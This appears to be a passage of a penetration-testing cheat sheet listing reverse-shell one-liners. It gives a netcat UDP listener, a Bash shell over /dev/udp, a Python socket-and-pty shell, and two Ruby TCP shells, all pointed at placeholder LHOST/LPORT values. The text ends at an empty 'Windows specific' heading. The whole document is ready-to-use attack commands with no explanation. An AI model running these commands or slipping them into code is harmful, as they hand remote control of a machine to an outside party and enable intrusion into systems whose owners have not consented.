Bash UDP

nc -u -lvnp 1234

sh -i >& /dev/udp/127.0.0.1/1234 0>&1

Python

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",1234)); os.dup2( s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Ruby

ruby -rsocket -e 'f=TCPSocket.open("LHOST",LPORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("LHOST","LPORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Windows specific:
